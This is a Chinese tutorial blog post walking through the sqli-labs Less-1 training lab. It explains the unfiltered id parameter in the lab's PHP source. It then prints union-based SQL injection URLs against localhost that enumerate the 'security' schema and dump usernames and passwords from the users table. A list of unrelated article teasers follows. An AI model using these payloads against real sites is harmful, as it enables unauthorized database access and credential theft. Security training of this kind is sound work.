sqli-labs-master less-1 详解

news2024/11/17 23:30:47

 

目录

 

关于MySQL的一些常识

information_schema

常用的函数

sqli-labs-master less-1

 分析PHP源码      

测试      


关于MySQL的一些常识

information_schema

  information_schema 是 MySQL 数据库中的一个元数据(metadata)数据库,它包含了关于数据库、表、列、索引、权限等信息的元数据。

通过在SQL注入攻击中利用 information_schema,可以执行诸如以下操作:

#获取数据库名
SELECT schema_name FROM information_schema.schemata;

#获取数据库中的表名
SELECT table_name FROM information_schema.tables WHERE table_schema = 'database_name';

#获取指定表中的列名和数据类型
SELECT column_name, data_type FROM information_schema.columns WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取指定表的索引信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取当前用户的权限信息
SELECT index_name, column_name FROM information_schema.statistics WHERE table_name = 'table_name' AND table_schema = 'database_name';

#获取存储过程和函数信息
SELECT routine_name, routine_type FROM information_schema.routines WHERE routine_schema = 'database_name';

常用的函数

UNION SELECT: 用于将两个或多个SELECT语句的结果组合成一个结果集。

SELECT INTO OUTFILE: 将查询结果写入文件中。

LOAD_FILE(): 从文件系统中加载文件内容到查询结果中。

CONCAT(): 用于连接字符串。

SUBSTRING(): 用于提取字符串的子串。

GROUP_CONCAT(): 用于将查询结果中的多个值连接成一个字符串。

VERSION(): 返回MySQL服务器的版本信息。

DATABASE(): 返回当前数据库的名称。

USER(): 返回当前MySQL用户的用户名和主机信息。

PASSWORD(): 用于加密密码。

SLEEP(): 用于使查询暂停指定的时间。

BENCHMARK(): 用于执行基准测试。

IF(): 用于条件判断。

EXISTS(): 用于检查子查询是否返回结果。

ORDER BY: 用于对查询结果进行排序。

sqli-labs-master less-1

less-1有一个基于错误的字符串(Error Based String)漏洞。

        这里提示我们输入id作为参数

 分析PHP源码      

         在当前页面的PHP源码中可以看到,存在一行代码   “  $id=$_GET['id'];  ”这行代码将从URL参数中获取的"id"值直接赋给变量$id,而没有对其进行任何过滤或转义。这导致了SQL注入漏洞的出现,可以通过在"id"参数中插入恶意的SQL代码来执行任意的数据库操作。

        还有 “  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1"; ” 将$id变量插入到SQL查询中,但没有对其进行任何过滤或转义,可以通过$id参数执行任意的数据库操作,而不受限于原始查询的意图。

测试      

          这里我们在url中传参,可以看到,后端返回成功了

         然后我们根据  $sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";    来构造查询语句

        首先用 单引号 ’ 闭合‘$id’     可以看到报错了,我们闭合成功了。

这里补充一下MySQL注释的三种方法:  /* */            #              -- 

联合查询 的前提是,两张表的列数相同,所以我们先表的判断列数

联合查询前面条件为假,才会接着进行查询

这里猜列数,建议用二分查找的方法可以快速确定目标数字。我们使用order by用于对查询结果进行排序。用以确定列数

        这里 我们构造语句 可以看到 有三个值


http://localhost/sqli/Less-1/?id=-1'union select 1,2,3 --+

# url编码后如下

http://localhost/sqli/Less-1/?id=-1%27union%20select%201,2,3%20--+

        

#有三个值 username password 可以看到,2,3 的结果会被展示出来

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,3--+

        这里   我们将2改为version() 查询数据库的版本

        查找当前所处库的库名

        查找当前登录的用户

        接下来找"security" 的所有表名    理论上用户名和密码在users表中

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+

 

         理论上用户名和密码在users表中,接下来我们看users表中的字段 可以看到username和password

localhost/sqli/Less-1/index.php/?id=-1'union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+

 

接下来获取username和password字段的内容     第二个字段可以用一些字母或数字隔开 

http://localhost/sqli/Less-1/index.php/?id=-1' union select 1,2,group_concat(username ,id , password) from users--+

 

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1419588.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

LLM之makeMoE:makeMoE的简介、安装和使用方法、案例应用之详细攻略

LLM之makeMoE:makeMoE的简介、安装和使用方法、案例应用之详细攻略 目录 makeMoE的简介 1、对比makemore 2、相关代码文件 makMoE_from_Scratch.ipynb文件 makeMoE_Concise.ipynb文件 makeMoE的安装和使用方法 1、基于Databricks使用单个A100进行开发 makeM…

Mybatis 获取自增主键ID的几种方式

Mybatis 获取添加的自增主键ID的几种方式 需求实现1. 使用 GeneratedKeys2. 获取 Sequence 序号3. 使用 selectKey 标签 需求 很多时候新增了一条数据之后,不仅要知道是否插入成功,还需要获取存入之后的主键id 以便后续使用。通常的办法是:先…

C# IP v4转地址·地名 高德

需求: IPv4地址转地址 如:输入14.197.150.014,输出河北省石家庄市 SDK: 目前使用SDK为高德地图WebAPI 高德地图开放平台https://lbs.amap.com/ 可个人开发者使用,不过有配额限制。 WebAPI 免费配额调整公告https://lbs.amap.com/news/…

ArcGIS Pro 如何计算长度和面积等数据?

要素的几何属性属于比较重要的信息,作为一款专业的GIS软件,ArcGIS Pro自然也是带有计算几何的功能,这里为大家介绍一下计算方法,希望能对你有所帮助。 数据来源 教程所使用的数据是从水经微图中下载的矢量数据,除了矢…

基于JAVA+SpringBoot+Vue的前后端分离的美食分享推荐平台2

✌全网粉丝20W,csdn特邀作者、博客专家、CSDN新星计划导师、java领域优质创作者,博客之星、掘金/华为云/阿里云/InfoQ等平台优质作者、专注于Java技术领域和毕业项目实战✌ 🍅文末获取项目下载方式🍅 一、项目背景介绍: 在当今社会&#xff0…

对闭包的理解(闭包使用场景)

文章目录 一、是什么二、使用场景柯里化函数使用闭包模拟私有方法其他 三、注意事项 一、是什么 一个函数和对其周围状态(lexical environment,词法环境)的引用捆绑在一起(或者说函数被引用包围),这样的组…

23种设计模式-结构型模式

1.代理模式 在软件开发中,由于一些原因,客户端不想或不能直接访问一个对象,此时可以通过一个称为"代理"的第三者来实现间接访问.该方案对应的设计模式被称为代理模式. 代理模式(Proxy Design Pattern ) 原始定义是:让你能够提供对象的替代品或其占位符。…

构建高效外卖系统:利用Spring Boot框架实现

在当今快节奏的生活中,外卖系统已经成为人们生活中不可或缺的一部分。为了构建一个高效、可靠的外卖系统,我们可以利用Spring Boot框架来实现。本文将介绍如何利用Spring Boot框架构建一个简单但功能完善的外卖系统,并提供相关的技术代码示例…

Cloudreve个人网盘系统源码 支持云存储(七牛、阿里云OSS、腾讯云COS、又拍云、OneDrive) 基于Go框架

现在的网盘动不动就限速,涨价,弄得很是心烦。今天分享一款开源免费的网盘项目,基于 Go 语言开发的 Cloudreve。Cloudreve基于Go框架云存储个人网盘系统源码支持多家云存储驱动(从机、七牛、阿里云 OSS、腾讯云 COS、又拍云、OneDr…

20240126收获

el-table比较常见的需要跳转column的场景,目前遇到三种,一种是前面列变成序号,用的是typeindex和:index来设置索引,第二种是变成多选,用的是typeselect和在table上加上select-change事件,第三种…

Pytest中doctests的测试方法应用

在 Python 的测试生态中,Pytest 提供了多种灵活且强大的测试工具。其中,doctests 是一种独特而直观的测试方法,通过直接从文档注释中提取和执行测试用例,确保代码示例的正确性。本文将深入介绍 Pytest 中 doctests 的测试方法,包括基本用法和实际案例,以帮助你更好地利用…

【flutter项目类型】project type如何区分

通过项目中.metadata内容区分 如 # Used by Flutter tool to assess capabilities and perform upgrades etc. # # This file should be version controlled and should not be manually edited.version:revision: 85684f9300908116a78138ea4c6036c35c9a1236channel: stablep…

【总线接口】3.常见总线、接口GPIO、I2C、SPI、I2S、Modbus

初接触硬件,五花八门的总线、接口一定会让你有些疑惑,我尝试用一系列文章来解开你的疑惑。 系列文章 【总线接口】1.以Xilinx开发板为例,直观的认识硬件接口 【总线接口】2.学习硬件这些年接触过的硬件接口、总线 大汇总 【总线接口】3.常见…

网诺安全文件上传总结

一、文件上传简介 文件上传漏洞是指用户上传了一个可执行的脚本文件(木马、病毒、恶意脚本、webshell等),并通过此脚本文件获得了执行服务器端命令的能力。上传点一般出现在头像、导入数据、上传压缩包等地方,由于程序对用户上传…

【蓝桥杯冲冲冲】导弹拦截

蓝桥杯备赛 | 洛谷做题打卡day21 文章目录 蓝桥杯备赛 | 洛谷做题打卡day21题目描述输入格式输出格式样例 #1样例输入 #1样例输出 #1 提示题目简化题解代码我的一些话 题目描述 某国为了防御敌国的导弹袭击,发展出一种导弹拦截系统。但是这种导弹拦截系统有一个缺陷…

Spring: 实体类转换工具总结

文章目录 一、MapStruct1、介绍2、原理3、使用4、问题处理(1)IDEA编译报错:NullPointerException 一、MapStruct 1、介绍 MapStruct是一个实体类属性映射工具,通过注解的方式实现将一个实体类的属性值映射到另外一个实体类中。在…

前端qrcode生成二维码详解

文章目录 前言1、浏览器支持2、优点3、缺点4、相关方法5、安装及使用示例 前言 qrcode 是一个基于JavaScript的二维码生成库,主要是通过获取 DOM 的标签,再通过 HTML5 Canvas 绘制而成,不依赖任何库。 官方文档:https://www.npm…

为什么说语言的主要作用不是交流而是思考

一般人常常以为,语言最重要的作用是帮助人们表达思想和情感。但最近偶然看到对乔姆斯基的一个采访,他认为:语言的主要作用不是交流,而是思考的工具,即语言是帮助人们组织和理解思维的过程。以下是几点说明为什么说语言…

Element ui 的组件弹窗 el-dialog点击的时候全屏变灰问题解决

最近在使用Element UI 的弹窗组件的时候发现这个组件各种的应用都没有问题,数据和元素的应用都是正确的但是在点击显示这个弹窗的时候全屏幕都会变灰。 这也不是因为增加了modal 遮挡幕的问题,在经过不断的排查代码的时候基本排除了代码的问题&#xf…

第一节 分布式架构设计理论与Zookeeper环境搭建

目录 1. 分布式架构设计理论 1. 分布式架构介绍 1.1 什么是分布式 1.2 分布式与集群的区别 1.3 分布式系统特性 1.4 分布式系统面临的问题 2. 分布式理论 2.1 数据一致性 2.1.1 什么是分布式数据一致性 2.1.2 副本一致性 2.1.3 一致性分类 2.2 CAP定理 2.2.1 CAP定…